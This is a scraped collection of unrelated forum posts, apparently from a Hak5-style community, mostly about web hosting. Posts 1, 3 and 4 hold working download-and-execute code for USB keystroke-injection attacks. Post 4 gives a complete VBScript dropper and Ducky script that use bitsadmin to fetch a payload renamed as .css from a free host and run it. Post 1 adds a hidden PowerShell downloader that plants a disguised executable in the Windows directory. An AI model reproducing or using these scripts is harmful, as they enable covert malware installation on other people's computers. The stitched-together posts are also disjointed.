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  1. Hi everyone, I'm trying to make a powershell wget and execute payload for the ducky but 000webhosting, my usual go-to webhost, doesn't allow .exe files. I was wondering if there was another hosting site that is free and does allow exes, or if there is some way I can encode the payload or something similar to get around such a block. I thought you might be able to encode it using base 64 in a text file, but I don't know how I'd make the powershell convert it from plaintext to binary using base64. I was thinking something like this. Any help is appreciated. Here is my script so far: $source = "mysite.com/executables/system32.exe"; $destination = "C:\Windows\system32helper.exe"; Invoke-WebRequest $source -OutFile $destination; start-process system32.exe That gets entered into a hidden powershell window. Thank you for your time.
  2. I need web hosting. I've tried ordering from the some of the major hosting companies lately. I've had two of payment gateways just repeatedly fail. Just looses my payment information or my account information. or it doesn't like my credit card or paypal doesn't work. I'm really sick of it. So I'm looking for a smaller business to host me. Where I can send you an email with my account details and you send me back a login and the nameserver I can point my domains to. Preferably you accept PayPal. And Go!
  3. Hello, I wanted to download files via CMD, and the first way I discovered was FTP. I rent a server and everything worked. The problem is that it takes kinda long to type in the credentials. After some research I found this PowerShell line: powershell (new-object System.Net.WebClient).DownloadFile('http://website.com/file.exe','%TEMP%\file.exe') But I have some questions: What is the part after %TEMP% for? Is that the destination where the files "arrives"? So if i wanted to download it to C:\, I just have to change it to C:\, right? Where can I host the file for free? I found some web server hosting sites, but the only databases I was able to find were FTP and MySQL. Thank you for your help ;)
  4. So, this script downloads VB script via cmd and witch downloads payload.exe. To use this script you'll need some prep to do. First, sign up for a free website hosting (like eu.pn). You don't need to create any website, just to use that host for easy payload downloads. Rename VB script from .vbs to .css, also do the same for the payload from .exe to .css. WHY? Because you can't upload other file formats but html, css, js, and image formats and you need a full path link for this to work! And NO, you don't have to have admin rights for this to work! VB script: SaveWebBinary "http://yourfreesubdomain.eu.pn/payload.css", "C:\Users\Public\payload.exe" Function SaveWebBinary(strUrl, strFile) 'As Boolean Const adTypeBinary = 1 Const adSaveCreateOverWrite = 2 Const ForWriting = 2 Dim web, varByteArray, strData, strBuffer, lngCounter, ado On Error Resume Next 'Download the file with any available object Err.Clear Set web = Nothing Set web = CreateObject("WinHttp.WinHttpRequest.5.1") If web Is Nothing Then Set web = CreateObject("WinHttp.WinHttpRequest") If web Is Nothing Then Set web = CreateObject("MSXML2.ServerXMLHTTP") If web Is Nothing Then Set web = CreateObject("Microsoft.XMLHTTP") web.Open "GET", strURL, False web.Send If Err.Number <> 0 Then SaveWebBinary = False Set web = Nothing Exit Function End If If web.Status <> "200" Then SaveWebBinary = False Set web = Nothing Exit Function End If varByteArray = web.ResponseBody Set web = Nothing 'Now save the file with any available method On Error Resume Next Set ado = Nothing Set ado = CreateObject("ADODB.Stream") If ado Is Nothing Then Set fs = CreateObject("Scripting.FileSystemObject") Set ts = fs.OpenTextFile(strFile, ForWriting, True) strData = "" strBuffer = "" For lngCounter = 0 to UBound(varByteArray) ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) Next ts.Close Else ado.Type = adTypeBinary ado.Open ado.Write varByteArray ado.SaveToFile strFile, adSaveCreateOverWrite ado.Close End If SaveWebBinary = True End Function wscript.sleep 5000 CreateObject("WScript.Shell").Run "C:\Users\Public\payload.exe" Ducky script: GUI r DELAY 200 STRING cmd /C bitsadmin /transfer /download /priority foreground http://yourfreesubdomain.eu.pn/vb_script.css C:\Users\Public\dl.vbs && start C:\Users\Public\dl.vbs ENTER Happy hacking!
  5. Earlier today I realized that my domain service uses plain old FTP to transfer data. So, after watching an old hak5 ep I called their office to see if they offer SSH shells or third party discounted VPN access. I was schocked when the lady on the other end said "Please hold. I'll look into it for you." She didn't know the difference btw SSH and VPN! I was advised to log in using IE when I told her that I'm a road warrior. She couldn't answer any of my questions regarding pub wifi security. I immediately demanded to talk to a tech in tier III who speaks ENGLISH. She placed the call on hold for five mins and transferred the call to Joe. Joe had no clue wtf I was talking about. He thought I was trying to setup a plain old webpage to share cupcake and purne juice recipes. He told me to think of my website as house in cyber space. Joe for some strange reason avoided using words like encryption. To pat Joe on the back I asked him how I can send strippers to my house in cyber space without all the jeahovah's witnesses in the neighborhood knocking down the front door. He scrathed his head and then recommended establishing a secure SSL connection to their corporate network, which according to him implements 128bit SSL. To make a long story short, Joe ended up recommending a premium 400$ per yr VPS service that implements SSL and recommended developing custom scripts to run on their server. According to Joe, its possible to host a proprietary script/application on their server that encrypts info on the fly off a SSL tunnel. Imagine hak5.org stored on an encrypted server that only allows certain key holders to view info. My question here is two fold. How secure is 128bit? Most cc companies use 1024bit authentication. Secondly, Whats the best way to encrypt info stored on a hosting service using a key - like Truecypt volumes?
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